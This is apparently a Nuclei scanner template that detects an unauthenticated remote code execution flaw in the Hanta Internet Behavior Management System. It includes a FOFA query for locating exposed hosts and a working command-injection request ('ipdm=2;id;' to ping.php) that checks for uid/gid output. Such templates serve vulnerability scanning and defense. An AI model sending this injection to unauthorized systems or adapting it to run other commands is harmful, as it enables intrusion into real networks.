id: hanta-rce

info:
  name: Hanta Internet Behavior Management System - Remote Code Execution
  author: momika233
  severity: high
  description: Hanta Internet Behavior Management System is vulnerable to RCE.
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="汉塔科技上网行为管理系统"
  tags: hanta,rce,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/dgn/dgn_tools/ping.php?ipdm=2;id;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009198ad8b1e0d192cfc63fed57a4c5f1f41bdddc90aff6590c1d084eb2cdff94402210094914822b136c3d59c0db3c2f53f525c8e07152125066b7b0793c21049659b64:922c64590222798bb761d5b6d8e72950